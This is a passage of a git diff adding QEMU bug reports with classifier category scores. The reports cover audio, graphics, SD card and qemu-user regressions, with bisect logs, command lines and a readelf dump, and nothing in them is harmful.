+POSSIBLE EXPLANATION: +During the week of panicking trial&error troubleshooting between the discovery of the audio issue and this report's filling, I let Windows perform an update. + +It downloaded and installed KB4100347. + +Now, by the looks of things this update naively checks the MSR for hipervisor signatures and, not finding any because of the KVM hidden state flag, it carries on with its duties of putting in place whatever microcode-powered mitigations for Spectre V2 it is instructed to set up. +Being the CPU really a virtual one, the process, unsurprisingly, fails, and the OS is left with some sort of software gimmick which tries to compensate for those unsupported functions. + +To my surprise, it seems that the MSR check is implemented as a persistent trigger and, as soon as it detects an hypervisor signature, it permanently removes the mitigation routines, leaving a smoothly running VM. + +I've performed 3 reboots since I toggled the flag off and on again, and the performance are consistent. + +Obviously, this explanation is just a wild guess, but I find it believable enough and in line with my experience. + + + +As I stated in the title, though, *the audio corruption is still well present* under QEMU 3.0, and eliminating the stuttering didn't help, leaving me with the original and most important problem. + +ok, so lets forget about the stuttering and just concentrate on what broke in 3.0 +Can you try building the bleeding edge qemu and see if the problem still exists ? + +Dave + +Built QEMU at commit 53a19a9a5f9811a911e9b69ef36afb0d66b5d85c (with --audio-drv-list=pa): + +nothing changes, audio still malfunctioning. + +OK, so in that case you'll need to do a git bisect to figure out what the first change was that broke it. +If 3.0 is at one end and is bad, pick the last known good version (on the problem that you can reliably repeat) and do the bisect between them - if we're lucky we'll land on something obviously audio, windows or timing related. + +GIT BISECT RESULTS + +So, I managed to run the git bisection and ended up having to do it twice: once looking for the first commit that broke audio (turns out a major total breakage occurs before the original diagnosed issue appeared), then to spot the origin of the main issue (I ignored the other form of malfunctioning, marking it as 'good'). + +---AUDIO BREAKAGE BISECT LOG--- + +git bisect start +# bad: [53a19a9a5f9811a911e9b69ef36afb0d66b5d85c] s390x/tcg: always enable AFP for linux-user +git bisect bad 53a19a9a5f9811a911e9b69ef36afb0d66b5d85c +# good: [4743c23509a51bd4ee85cc272287a41917d1be35] Update version for v2.12.0 release +git bisect good 4743c23509a51bd4ee85cc272287a41917d1be35 +# bad: [7f9ddf64d5fe5bfaa91ae0ec52217d86f4d86452] target/arm: Implement SVE Floating Point Accumulating Reduction Group +git bisect bad 7f9ddf64d5fe5bfaa91ae0ec52217d86f4d86452 +# good: [cc9743c236cce8a35449e3ef67140287b68bb705] iscsi: Query and save device designator when opening +git bisect good cc9743c236cce8a35449e3ef67140287b68bb705 +# good: [1e05197f24c49d52f339de9053bb1d17082f1be3] translate-all: iterate over TBs in a page with PAGE_FOR_EACH_TB +git bisect good 1e05197f24c49d52f339de9053bb1d17082f1be3 +# good: [2aeba0d007d33efa12a6339bb140aa634e0d52eb] target/arm: Strict alignment for ARMv6-M and ARMv8-M Baseline +git bisect good 2aeba0d007d33efa12a6339bb140aa634e0d52eb +# bad: [00928a421d47f49691cace1207481b7aad31b1f1] Merge remote-tracking branch 'remotes/pmaydell/tags/pull-target-arm-20180626' into staging +git bisect bad 00928a421d47f49691cace1207481b7aad31b1f1 +# bad: [35e238c9330669882487f9929e0aa97900431853] Merge remote-tracking branch 'remotes/kraxel/tags/audio-20180625-pull-request' into staging +git bisect bad 35e238c9330669882487f9929e0aa97900431853 +# good: [c52e53f429aa562539f5da2e7c21c66c6f9a8a16] Merge remote-tracking branch 'remotes/dgibson/tags/ppc-for-3.0-20180622' into staging +git bisect good c52e53f429aa562539f5da2e7c21c66c6f9a8a16 +# good: [be25fcc4d2faeb3ffa8db813272963bae659c4c2] MAINTAINERS: Update QAPI stanza for commit fb0bc835e56 +git bisect good be25fcc4d2faeb3ffa8db813272963bae659c4c2 +# good: [518d23a976b7dad77cfef3e41c3531ac89229b00] Merge remote-tracking branch 'remotes/ehabkost/tags/python-next-pull-request' into staging +git bisect good 518d23a976b7dad77cfef3e41c3531ac89229b00 +# bad: [8ced0669237b2bbedac3e4ce6fcf7aaaafaae663] audio/hda: tweak timer adjust logic +git bisect bad 8ced0669237b2bbedac3e4ce6fcf7aaaafaae663 +# bad: [0a373bb310c1533e24aa5e3edbf206507fb342ea] audio/hda: turn some dprintfs into trace points +git bisect bad 0a373bb310c1533e24aa5e3edbf206507fb342ea +# bad: [280c1e1cdb24d80ecdfcdfc679ccc5e8ed7af45d] audio/hda: create millisecond timers that handle IO +git bisect bad 280c1e1cdb24d80ecdfcdfc679ccc5e8ed7af45d +# first bad commit: [280c1e1cdb24d80ecdfcdfc679ccc5e8ed7af45d] audio/hda: create millisecond timers that handle IO + +---END--- + + +---ORIGINAL ISSUE BISECT LOG--- + +git bisect start +# bad: [35e238c9330669882487f9929e0aa97900431853] Merge remote-tracking branch 'remotes/kraxel/tags/audio-20180625-pull-request' into staging +git bisect bad 35e238c9330669882487f9929e0aa97900431853 +# good: [c52e53f429aa562539f5da2e7c21c66c6f9a8a16] Merge remote-tracking branch 'remotes/dgibson/tags/ppc-for-3.0-20180622' into staging +git bisect good c52e53f429aa562539f5da2e7c21c66c6f9a8a16 +# good: [cc2ae7c9de14efd72c6205825eb7cd980ac09c11] target/arm: Introduce ARM_FEATURE_M_MAIN +git bisect good cc2ae7c9de14efd72c6205825eb7cd980ac09c11 +# good: [be25fcc4d2faeb3ffa8db813272963bae659c4c2] MAINTAINERS: Update QAPI stanza for commit fb0bc835e56 +git bisect good be25fcc4d2faeb3ffa8db813272963bae659c4c2 +# good: [518d23a976b7dad77cfef3e41c3531ac89229b00] Merge remote-tracking branch 'remotes/ehabkost/tags/python-next-pull-request' into staging +git bisect good 518d23a976b7dad77cfef3e41c3531ac89229b00 +# good: [8ced0669237b2bbedac3e4ce6fcf7aaaafaae663] audio/hda: tweak timer adjust logic +git bisect good 8ced0669237b2bbedac3e4ce6fcf7aaaafaae663 +# bad: [bc753dc09ff33d99bc9004d7286c50de1d5bece6] audio/hda: enable new timer code by default. +git bisect bad bc753dc09ff33d99bc9004d7286c50de1d5bece6 +# good: [4501ee16c76e89e0a2b2beb95f3b93f965997391] audio/hda: detect output buffer overruns +git bisect good 4501ee16c76e89e0a2b2beb95f3b93f965997391 +# first bad commit: [bc753dc09ff33d99bc9004d7286c50de1d5bece6] audio/hda: enable new timer code by default. + +---END--- + + +I'm attaching both of them, just in case someone wants to replay them. + +One thing that I'd like to point out is that the thing I called "total breakage" looks extremely similar to what happens when I set a 2.12 machine on a 3.0 QEMU: complete distortion. +Do I have to study it more in order to see if it really produces the same effect? + + +Anyway, I'm sorry if such a simple matter took this long but, during one of the initial bisections, an accidental misconfiguration in the testing environment completely wasted the guest I was using (permanent Windows startup failure-level of wasted...). +I had to recover a few things and reinstall as many. + + + +Oh and yeah, I just kind of realized that the original issue simply appears after the new timers are being activated by default. +Well, that should have been pretty obvious. +I'll try to actuvate them at compile time and see where this path leads to. + +And sorry for misclicking on the information type settings. + +Ran through the commits included in the audio code merge, with the following results: + +[commit 280c1e1cdb24d80ecdfcdfc679ccc5e8ed7af45d] +audio/hda: create millisecond timers that handle IO + +Audio stream gets progressively more and more corrupted, breaking completely between 30'' and 1' after continuous sound start. +No problems playing short sounds. + +-- + +[commit 0a373bb310c1533e24aa5e3edbf206507fb342ea] +audio/hda: turn some dprintfs into trace points + +No changes from the previous commit, of course. + +-- + +[commit 8ced0669237b2bbedac3e4ce6fcf7aaaafaae663] +audio/hda: tweak timer adjust logic + +First time audio looks really good on this guest; the new code is working, by the look of things. + +-- + +[commit 4501ee16c76e89e0a2b2beb95f3b93f965997391] +audio/hda: detect output buffer overruns + +First time issue presents itself. + +-- + +So, I assume that commit 4501ee16c76e89e0a2b2beb95f3b93f965997391 introduced some kind of overrun control which mishandles the buffer, at least in my setup. +From a quick and ignorant git diff between this and the previous commit, I can see that the new detector could drop the buffer too early, or maybe it misconfigures the st->buft_start property. + +These last tests were performed by manually toggling the use-timer property on from inside the source code; I hope this doesn't invalidate their outcome, though. + +As of now I have no clue on how to patch this thing, since I do not understand the interactions between the various emulator's components. + +any change with the attached patch? + +All issues solved by the patch. +No clicks or glitches detected. +Thank you. + +Will this be upstreamed? + +https://patchwork.ozlabs.org/patch/995566/ + +Ok then, keeping an eye out for the eventual acceptance in the official repo, so that I can change the bug report status. + +https://git.qemu.org/?p=qemu.git;a=commitdiff;h=6cdc2d189cb60a9d13e + diff --git a/results/classifier/108/graphic/1795799 b/results/classifier/108/graphic/1795799 new file mode 100644 index 000000000..5848287c8 --- /dev/null +++ b/results/classifier/108/graphic/1795799 @@ -0,0 +1,74 @@ +graphic: 0.927 +device: 0.792 +socket: 0.694 +boot: 0.562 +semantic: 0.555 +PID: 0.547 +other: 0.486 +performance: 0.390 +debug: 0.356 +vnc: 0.346 +files: 0.312 +permissions: 0.256 +network: 0.181 +KVM: 0.087 + +Cirrus video, graphical corruption, bad fonts + +The error +=== + +I started qemu by + +`shell +$ ./qemu-system-i386 -serial stdio -cdrom /dev/cdrom -vga cirrus +S1111111111S1111111111S1111111111S1111111111▒*n*n*n*n +` + +with the original suse7.0 cd 1 in the cdrom drive (I think https://archive.org/details/suse-7.0_release_i386 has the image). After some console output (that uses a vga framebuffer which seems to work fine) the suse installer is started. It is displayed mostly correct, but several text passages are completely garbled. + +I noticed the same type of corruption when trying to run an old XF86 SVGA Server on a SuSE 6.2 System using the `-vga cirrus` option. + +Therefore I think that the cirrus emulation might not work as intended any more. + +Qemu version +=== + +I used qemu-w64-setup-20180815.exe provided by https://qemu.weilnetz.de/w64/ + +./qemu-system-i386 -version +QEMU emulator version 3.0.0 (v3.0.0-11723-ge2ddcc5879-dirty) +Copyright (c) 2003-2017 Fabrice Bellard and the QEMU Project developers + +Hope you can fix it. + +Best regards! + + + +Here's what Suse62 does. + +I started this system by + +uli_r@DESKTOP-I4GHL3R /cygdrive/h/programme/qemu +$ ./qemu-system-i386 -serial stdio -hda suse62.ima -vga cirrus +WARNING: Image format was not specified for 'suse62.ima' and probing guessed raw. + Automatically detecting the format is dangerous for raw images, write operations on block 0 will be restricted. + Specify the 'raw' format explicitly to remove the restrictions. + +I configured X using the old sax (Suse Advanced X-Configurator) to use the SVGA server. Video memory is autodetected at only 64k, so I manually overwrote it to be 2048k, all other values I left as autodetected. I ordered it to start up in 1024x768@16bpp. + +Attached images show, what it does. + +It's the same host system with the same qemu version as above... + + + + +The QEMU project is currently considering to move its bug tracking to another system. For this we need to know which bugs are still valid and which could be closed already. Thus we are setting older bugs to "Incomplete" now. +If you still think this bug report here is valid, then please switch the state back to "New" within the next 60 days, otherwise this report will be marked as "Expired". Or mark it as "Fix Released" if the problem has been solved with a newer version of QEMU already. Thank you and sorry for the inconvenience. + +[Expired for QEMU because there has been no activity for 60 days.] + +FWIW, issue has been re-opened here: https://gitlab.com/qemu-project/qemu/-/issues/988 + diff --git a/results/classifier/108/graphic/1800 b/results/classifier/108/graphic/1800 new file mode 100644 index 000000000..f9199f16c --- /dev/null +++ b/results/classifier/108/graphic/1800 @@ -0,0 +1,47 @@ +graphic: 0.997 +semantic: 0.736 +device: 0.580 +performance: 0.542 +PID: 0.433 +debug: 0.386 +vnc: 0.326 +socket: 0.305 +files: 0.289 +boot: 0.257 +network: 0.232 +permissions: 0.232 +KVM: 0.210 +other: 0.058 + +8.1.0-rc1 Regression: donkey in qemu advent calender 03/2020 has graphical artifacts +Description of problem: +The game donkey shows graphical artifacts on playing. On changing the lane the car remains on its previous land as well. +A git bisect identified commit 592134617c98f37b8b39c6dd684e5a1832c071d2 as culprit +Steps to reproduce: +1. Download http://qemu-advent-calendar.org/2020/download/gw-basic.tar.xz +2. Start VM using command + ``` + qemu-system-i386 -m 16M -drive if=ide,format=qcow2,file=gwbasic.qcow2 + ``` +3. Wait for GW-Basic prompt and enter (see README): F3 - donkey - <ENTER> - F2 +4. Play to see graphical artifacts +Additional information: +``` +$ git bisect bad +592134617c98f37b8b39c6dd684e5a1832c071d2 is the first bad commit +commit 592134617c98f37b8b39c6dd684e5a1832c071d2 +Author: Richard Henderson +Date: Sun Oct 30 12:07:32 2022 +1100 + + accel/tcg: Reorg system mode store helpers + + Instead of trying to unify all operations on uint64_t, use + mmu_lookup() to perform the basic tlb hit and resolution. + Create individual functions to handle access by size. + + Reviewed-by: Peter Maydell <peter.maydell@linaro.org> + Signed-off-by: Richard Henderson <richard.henderson@linaro.org> + + accel/tcg/cputlb.c | 394 +++++++++++++++++++++++++---------------------------- + 1 file changed, 186 insertions(+), 208 deletions(-) +``` diff --git a/results/classifier/108/graphic/1803 b/results/classifier/108/graphic/1803 new file mode 100644 index 000000000..855544a75 --- /dev/null +++ b/results/classifier/108/graphic/1803 @@ -0,0 +1,29 @@ +graphic: 0.990 +device: 0.889 +boot: 0.876 +other: 0.848 +performance: 0.823 +semantic: 0.749 +permissions: 0.651 +files: 0.645 +PID: 0.626 +vnc: 0.586 +debug: 0.546 +socket: 0.439 +network: 0.407 +KVM: 0.298 + +8.x x86_64 system emulation/tcg regression (general protection fault) +Description of problem: +Running the ISO available at https://repo.chimera-linux.org/live/20230611/chimera-linux-x86_64-LIVE-20230611-gnome.iso with the above qemu command line, the graphical environment fails to come up. The system boots, and login prompt shows up; then graphical environment startup is attempted, with Wayland (you can tell as the login prompt cursor no longer blinks, being "frozen" for possibly up to a few minutes due to emulation cost). Then the graphical startup crashes (you can tell because the cursor starts blinking again) and an X11-based startup is attempted (you can tell by the X11 cross cursor) which however never fully comes up either. +Steps to reproduce: +1. Download the ISO and run with the command line above. +2. See the issue. +Additional information: +It is possible to then switch to tty2 (View->compatmonitor0, `sendkey ctrl-alt-f2`), log in as `root:chimera` or `anon:chimera` as the console prompt instructs, and type in `dmesg` (as `root`) or `doas dmesg` (as `anon`) and see that the `dmesg` contains a number of general protection faults, like this: + + + +The system used to work, but I am not sure which is the last version of QEMU where this worked, I believe 7.x. In 8.0.3 (likewise running in a Chimera environment, but it was also tested on Alpine, and I had somebody on Arch Linux test it with 8.0.2 just to rule out possible issues caused by a musl-based host environment) it crashes. It only appears to affect the `x86_64` guest architecture, as the other-architecture ISOs have graphical environment come up fine after some minutes (e.g. `ppc64le` with `qemu-system-ppc64 -M pseries-2.11,cap-htm=off -m 2048 -boot d -cdrom chimera-linux-ppc64le-LIVE-20230611-gnome.iso` works just fine). It also appears to only affect TCG emulation, as KVM likewise works fine (same command line, just `-enable-kvm` added). + +Apologies for a large testcase, but it seems to need specific graphical-adjacent services to reproduce. It should be consistently reproducible though. diff --git a/results/classifier/108/graphic/1806 b/results/classifier/108/graphic/1806 new file mode 100644 index 000000000..3cc0583fe --- /dev/null +++ b/results/classifier/108/graphic/1806 @@ -0,0 +1,20 @@ +graphic: 0.979 +other: 0.943 +device: 0.938 +semantic: 0.847 +files: 0.844 +boot: 0.816 +network: 0.815 +socket: 0.808 +vnc: 0.758 +debug: 0.738 +performance: 0.650 +PID: 0.623 +permissions: 0.593 +KVM: 0.023 + +Tests: YAMON binaries unavailable +Description of problem: +The [tests for MIPS](https://gitlab.com/qemu-project/qemu/-/blame/master/tests/avocado/machine_mips_malta.py#L127) download the YAMON firmware binaries, however that link does not exist anymore. It appears that it may have [moved to ](https://www.mips.com/develop/tools/boot-loaders/)mips.com (or maybe that's where it came from?), which states "To support existing users of these, and the QEMU project, YAMON is now available under the GPL License." However those links are also dead. I've not been able to find the referenced binaries or source anywhere. @philmd, do you happen to have a copy you can upload? Alternatively, I've found the 2.16 source [here](https://github.com/binsgit/mips-yamon). + +Another alternative would be to use U-boot, which is easy to get a hold of and would work for this test (just getting to a prompt, although I've had issues with it being able to access an IDE drive). I haven't found prebuilt binaries for MIPS and u-boot though. diff --git a/results/classifier/108/graphic/1809291 b/results/classifier/108/graphic/1809291 new file mode 100644 index 000000000..994d1b62b --- /dev/null +++ b/results/classifier/108/graphic/1809291 @@ -0,0 +1,146 @@ +semantic: 0.947 +graphic: 0.941 +other: 0.940 +permissions: 0.929 +device: 0.928 +debug: 0.926 +PID: 0.926 +performance: 0.925 +files: 0.922 +socket: 0.915 +vnc: 0.890 +boot: 0.853 +network: 0.841 +KVM: 0.836 + +SD Card not working in Ubuntu 18.10 (CMD 2,3 timeout). The device worked fine in Ubuntu 18.04 and earlier versions but not in Ubuntu 18.10 + +ARM PL181 MMC card no longer working in qemu-system-arm in Ubuntu 18.10 +The MMC driver code worked fine in Ubuntu 15.10 to 18.04. +The command to run qemu-system-arm is + + qemu-system-arm -M versatilepb -m 256M -sd sdimage -kernel t.bin -serial mon:stdio + +During SDC initialization, SDC commands 2, 3, 9, 13, 7, 16 all timeout, +which cause subsequent read/write commands 17/24 to fail also. + +Tried both ARM versatilepb and realview-pb-a8, realview-pbx-a9 boards: all the same. + +Hi, from this report your setup is unclear to me. +Are you saying that QEMU used to work on Ubuntu 15.10/18.04 and stopped working on 18.10, +or than current QEMU works with the default Linux kernel from Ubuntu 15.10/18.04 and does not work with the 18.10 kernel? +What is the size of your 'sdimage', what is the kernel used in 't.bin'? +Please provide more info. +Thanks, +Phil. + +'Hi, from this report your setup is unclear to me'. + +Hi, +I am not using Linux kernel. +The t.bin image is a program built with .s and .c files using gcc-arm-none-eabi for ARM +The sdimage is just a regular 1MB file, which is used by the -sd sdmage as a virtual SDC card for +qemu-system-arm under Ubuntu 18.10 +The t.bin code calls sdc_init() to initialize the PL181 mmc card, which is + +int do_command(int cmd, int arg, int resp) +{ + *(u32 *)(base + ARGUMENT) = (u32)arg; + *(u32 *)(base + COMMAND) = 0x400 | (resp<<6) | cmd; + delay(); +} +int sdc_init() +{ + u32 RCA = (u32)0x45670000; // QEMU's hard-coded RCA + base = (u32)0x10005000; // PL180 base address + printf("sdc_init : "); + *(u32 *)(base + POWER) = (u32)0xBF; // power on + *(u32 *)(base + CLOCK) = (u32)0xC6; // default CLK + + // send init command sequence + do_command(0, 0, MMC_RSP_NONE);// idle state + do_command(55, 0, MMC_RSP_R1); // ready state + do_command(41, 1, MMC_RSP_R3); // argument must not be zero + do_command(2, 0, MMC_RSP_R2); // ask card CID + do_command(3, RCA, MMC_RSP_R1); // assign RCA + do_command(7, RCA, MMC_RSP_R1); // transfer state: must use RCA + do_command(16, 512, MMC_RSP_R1); // set data block length + + // set interrupt MASK0 registers bits = RxAvail|TxEmpty + *(u32 *)(base + MASK0) = (1<<21)|(1<<18); //0x00240000; + printf("done\n"); +} + +After each command, read the MMC status to check for errors. +Commands 2, 3, 7, 16 all failed due to timeout, indicating the MMC card does not respond. +But the PL181 does generate interrupts for read/write sector commands. +As stated before, the SAME driver code worked fine for all earlier versions of Ubuntu: 15 to 18.04 + + + +Hi -- could you please either provide a guest binary to reproduce with, or a complete set of sources to build to produce the test binary? + + +I'm marking this bug as incomplete since we can't investigate it without a test binary and QEMU command line to reproduce with. + + +I googled some code from comment #2 and got a hit for "u32 RCA = (u32)0x45670000; // QEMU's hard-coded RCA". Then I found kcwang's book: https://link.springer.com/content/pdf/10.1007%2F978-3-319-51517-5.pdf and read: +"I am also grateful to Springer International Publishing AG for allowing me to disclose the source code of this book to the public for free, which are available at http://www.eecs.wsu.edu/~cs460/ARMhome for download". This link gives 404, however googling again "site:www.eecs.wsu.edu/~cs460" I found https://www.eecs.wsu.edu/~cs460/samples/ which thankfully provides sdc.tgz with the source files and binaries mentioned. + +With the command provided in the bug description I could bisect to: + +4e5cc6756586e967993187657dfcdde4e00288d9 is the first bad commit +commit 4e5cc6756586e967993187657dfcdde4e00288d9 +Author: Philippe Mathieu-Daudé <email address hidden> +Date: Thu Feb 22 15:12:54 2018 +0000 + + sdcard: simplify SD_SEND_OP_COND (ACMD41) + + replace switch(single case) -> if() + + Signed-off-by: Philippe Mathieu-Daudé <email address hidden> + Reviewed-by: Alistair Francis <email address hidden> + Message-id: <email address hidden> + Signed-off-by: Peter Maydell <email address hidden> + + +The offending code is: + +$ git diff -w 4e5cc6756586e967993187657dfcdde4e00288d9~..4e5cc6756586e967993187657dfcdde4e00288d9 +diff --git a/hw/sd/sd.c b/hw/sd/sd.c +--- a/hw/sd/sd.c ++++ b/hw/sd/sd.c +@@ -1537,7 +1537,7 @@ static sd_rsp_type_t sd_app_command(SDState *sd, + } + } + +- if (req.arg & ACMD41_ENQUIRY_MASK) { ++ if (FIELD_EX32(sd->ocr & req.arg, OCR, VDD_VOLTAGE_WINDOW)) { + /* We accept any voltage. 10000 V is nothing. + * + * Once we're powered up, we advance straight to ready state + +Dear Dr. KC.Wang, + +Download qemu-4.2.0-rc4 source code, change hw/sd/sd.c at line 1560 like follows and remake + +(line: 1560) + +if (req.arg & ACMD41_ENQUIRY_MASK) { +/*if (FIELD_EX32(sd->ocr & req.arg, OCR, VDD_VOLTAGE_WINDOW)) {*/ + +BTW, here is my micro-kernel-os for arm platform based the contents from your books, thanks ! + +https://github.com/MisaZhu/micro_kernel_os + +Misa.Z + +The new code in Qemu is correct, the real problem is that the code [1] is trying to negotiate an invalid working voltage with CMD41. +The SD specification marks the first 15 bits as reserved (except for the 7th, that's the dual-voltage flag) meaning that compliant cards will timeout as well. + +If you look closer at the source code you can see that this problem's been patched by replacing the invalid argument 0x1 with a more reasonable 0xFFFF, barely enough to work in the 2.7V range. + +[1] https://eecs.wsu.edu/~cs460/samples/LAB5pre/step3/sdc.c + +The test expects the card wired as SPI, so adding "-global sd-card.spi=true" makes the test case work. + diff --git a/results/classifier/108/graphic/1814128 b/results/classifier/108/graphic/1814128 new file mode 100644 index 000000000..618a32e0b --- /dev/null +++ b/results/classifier/108/graphic/1814128 @@ -0,0 +1,171 @@ +graphic: 0.966 +debug: 0.963 +semantic: 0.955 +other: 0.946 +performance: 0.941 +permissions: 0.939 +device: 0.928 +files: 0.903 +boot: 0.897 +PID: 0.897 +network: 0.892 +socket: 0.874 +vnc: 0.846 +KVM: 0.676 + +qemu-user fails to set up a reasonable brk for static-pie + +static pie binaries may not get a reasonable brk, +with glibc this means they crash in early tls setup code: +https://sourceware.org/bugzilla/show_bug.cgi?id=24152 + +qemu seems to put brk at the end of the data segment, +but if the stack starts (ends) right next to it then +allocation with brk fails. + +in such situation i think qemu should arrange the +stack or brk to be elsewhere so there is plenty +space to grow (in case of glibc it's enough if tls +setup works: later allocations can fall back to mmap). + +(ubuntu bionic x86_64 ldconfig.real from libc-bin package) +$ qemu-x86_64 -strace -d page /sbin/ldconfig.real +host mmap_min_addr=0x8000 +guest_base 0x0 +start end size prot +0000004000000000-00000040000f2000 00000000000f2000 r-x +00000040000f2000-00000040002f2000 0000000000200000 --- +00000040002f2000-00000040002fa000 0000000000008000 rw- +00000040002fa000-00000040002fb000 0000000000001000 --- +00000040002fb000-0000004000afb000 0000000000800000 rw- +start_brk 0x0000000000000000 +end_code 0x00000040000f1ee8 +start_code 0x0000004000000000 +start_data 0x00000040002f2838 +end_data 0x00000040002f8518 +start_stack 0x0000004000afa130 +brk 0x00000040002f9dd8 +entry 0x0000004000009bc0 +argv_start 0x0000004000afa138 +env_start 0x0000004000afa148 +auxv_start 0x0000004000afa280 +28561 brk(NULL) = 0x00000040002fa000 +28561 brk(0x00000040002fb1c0) = 0x00000040002fa000 +--- SIGSEGV {si_signo=SIGSEGV, si_code=1, si_addr=0xffffffffffffffc0} --- +qemu: uncaught target signal 11 (Segmentation fault) - core dumped + +$ readelf -hldSW /tmp/ldconfig.real +ELF Header: + Magic: 7f 45 4c 46 02 01 01 03 00 00 00 00 00 00 00 00 + Class: ELF64 + Data: 2's complement, little endian + Version: 1 (current) + OS/ABI: UNIX - GNU + ABI Version: 0 + Type: DYN (Shared object file) + Machine: Advanced Micro Devices X86-64 + Version: 0x1 + Entry point address: 0x9bc0 + Start of program headers: 64 (bytes into file) + Start of section headers: 1022920 (bytes into file) + Flags: 0x0 + Size of this header: 64 (bytes) + Size of program headers: 56 (bytes) + Number of program headers: 8 + Size of section headers: 64 (bytes) + Number of section headers: 38 + Section header string table index: 37 + +Section Headers: + [Nr] Name Type Address Off Size ES Flg Lk Inf Al + [ 0] NULL 0000000000000000 000000 000000 00 0 0 0 + [ 1] .note.ABI-tag NOTE 0000000000000200 000200 000020 00 A 0 0 4 + [ 2] .note.gnu.build-id NOTE 0000000000000220 000220 000024 00 A 0 0 4 + [ 3] .gnu.hash GNU_HASH 0000000000000248 000248 00001c 00 A 4 0 8 + [ 4] .dynsym DYNSYM 0000000000000268 000268 000018 18 A 5 1 8 + [ 5] .dynstr STRTAB 0000000000000280 000280 000001 00 A 0 0 1 + [ 6] .rela.dyn RELA 0000000000000288 000288 008748 18 A 4 0 8 + [ 7] .rela.plt RELA 00000000000089d0 0089d0 000318 18 AI 4 27 8 + [ 8] .init PROGBITS 0000000000008ce8 008ce8 000017 00 AX 0 0 4 + [ 9] .plt PROGBITS 0000000000008d00 008d00 000270 10 AX 0 0 16 + [10] .plt.got PROGBITS 0000000000008f70 008f70 000060 08 AX 0 0 8 + [11] .text PROGBITS 0000000000008fd0 008fd0 0bd29c 00 AX 0 0 16 + [12] __libc_freeres_fn PROGBITS 00000000000c6270 0c6270 0016b3 00 AX 0 0 16 + [13] __libc_thread_freeres_fn PROGBITS 00000000000c7930 0c7930 00108f 00 AX 0 0 16 + [14] .fini PROGBITS 00000000000c89c0 0c89c0 000009 00 AX 0 0 4 + [15] .rodata PROGBITS 00000000000c89e0 0c89e0 01af08 00 A 0 0 32 + [16] .stapsdt.base PROGBITS 00000000000e38e8 0e38e8 000001 00 A 0 0 1 + [17] .eh_frame_hdr PROGBITS 00000000000e38ec 0e38ec 001f94 00 A 0 0 4 + [18] .eh_frame PROGBITS 00000000000e5880 0e5880 00c5b8 00 A 0 0 8 + [19] .gcc_except_table PROGBITS 00000000000f1e38 0f1e38 0000b0 00 A 0 0 1 + [20] .tdata PROGBITS 00000000002f2838 0f2838 000028 00 WAT 0 0 8 + [21] .tbss NOBITS 00000000002f2860 0f2860 000040 00 WAT 0 0 8 + [22] .init_array INIT_ARRAY 00000000002f2860 0f2860 000010 08 WA 0 0 8 + [23] .fini_array FINI_ARRAY 00000000002f2870 0f2870 000010 08 WA 0 0 8 + [24] .data.rel.ro PROGBITS 00000000002f2880 0f2880 0034c4 00 WA 0 0 32 + [25] .dynamic DYNAMIC 00000000002f5d48 0f5d48 0001a0 10 WA 5 0 8 + [26] .got PROGBITS 00000000002f5ee8 0f5ee8 000110 08 WA 0 0 8 + [27] .got.plt PROGBITS 00000000002f6000 0f6000 000148 08 WA 0 0 8 + [28] .data PROGBITS 00000000002f6160 0f6160 001bd4 00 WA 0 0 32 + [29] __libc_subfreeres PROGBITS 00000000002f7d38 0f7d38 000060 00 WA 0 0 8 + [30] __libc_IO_vtables PROGBITS 00000000002f7da0 0f7da0 000768 00 WA 0 0 32 + [31] __libc_atexit PROGBITS 00000000002f8508 0f8508 000008 00 WA 0 0 8 + [32] __libc_thread_subfreeres PROGBITS 00000000002f8510 0f8510 000008 00 WA 0 0 8 + [33] .bss NOBITS 00000000002f8520 0f8518 001890 00 WA 0 0 32 + [34] __libc_freeres_ptrs NOBITS 00000000002f9db0 0f8518 000028 00 WA 0 0 8 + [35] .note.stapsdt NOTE 0000000000000000 0f8518 0014cc 00 0 0 4 + [36] .gnu_debuglink PROGBITS 0000000000000000 0f99e4 000034 00 0 0 4 + [37] .shstrtab STRTAB 0000000000000000 0f9a18 0001ab 00 0 0 1 +Key to Flags: + W (write), A (alloc), X (execute), M (merge), S (strings), I (info), + L (link order), O (extra OS processing required), G (group), T (TLS), + C (compressed), x (unknown), o (OS specific), E (exclude), + l (large), p (processor specific) + +Program Headers: + Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align + LOAD 0x000000 0x0000000000000000 0x0000000000000000 0x0f1ee8 0x0f1ee8 R E 0x200000 + LOAD 0x0f2838 0x00000000002f2838 0x00000000002f2838 0x005ce0 0x0075a0 RW 0x200000 + DYNAMIC 0x0f5d48 0x00000000002f5d48 0x00000000002f5d48 0x0001a0 0x0001a0 RW 0x8 + NOTE 0x000200 0x0000000000000200 0x0000000000000200 0x000044 0x000044 R 0x4 + TLS 0x0f2838 0x00000000002f2838 0x00000000002f2838 0x000028 0x000068 R 0x8 + GNU_EH_FRAME 0x0e38ec 0x00000000000e38ec 0x00000000000e38ec 0x001f94 0x001f94 R 0x4 + GNU_STACK 0x000000 0x0000000000000000 0x0000000000000000 0x000000 0x000000 RW 0x10 + GNU_RELRO 0x0f2838 0x00000000002f2838 0x00000000002f2838 0x0037c8 0x0037c8 R 0x1 + + Section to Segment mapping: + Segment Sections... + 00 .note.ABI-tag .note.gnu.build-id .gnu.hash .dynsym .dynstr .rela.dyn .rela.plt .init .plt .plt.got .text __libc_freeres_fn __libc_thread_freeres_fn .fini .rodata .stapsdt.base .eh_frame_hdr .eh_frame .gcc_except_table + 01 .tdata .init_array .fini_array .data.rel.ro .dynamic .got .got.plt .data __libc_subfreeres __libc_IO_vtables __libc_atexit __libc_thread_subfreeres .bss __libc_freeres_ptrs + 02 .dynamic + 03 .note.ABI-tag .note.gnu.build-id + 04 .tdata .tbss + 05 .eh_frame_hdr + 06 + 07 .tdata .init_array .fini_array .data.rel.ro .dynamic .got + +Dynamic section at offset 0xf5d48 contains 22 entries: + Tag Type Name/Value + 0x000000000000000c (INIT) 0x8ce8 + 0x000000000000000d (FINI) 0xc89c0 + 0x0000000000000019 (INIT_ARRAY) 0x2f2860 + 0x000000000000001b (INIT_ARRAYSZ) 16 (bytes) + 0x000000000000001a (FINI_ARRAY) 0x2f2870 + 0x000000000000001c (FINI_ARRAYSZ) 16 (bytes) + 0x000000006ffffef5 (GNU_HASH) 0x248 + 0x0000000000000005 (STRTAB) 0x280 + 0x0000000000000006 (SYMTAB) 0x268 + 0x000000000000000a (STRSZ) 1 (bytes) + 0x000000000000000b (SYMENT) 24 (bytes) + 0x0000000000000015 (DEBUG) 0x0 + 0x0000000000000003 (PLTGOT) 0x2f6000 + 0x0000000000000002 (PLTRELSZ) 792 (bytes) + 0x0000000000000014 (PLTREL) RELA + 0x0000000000000017 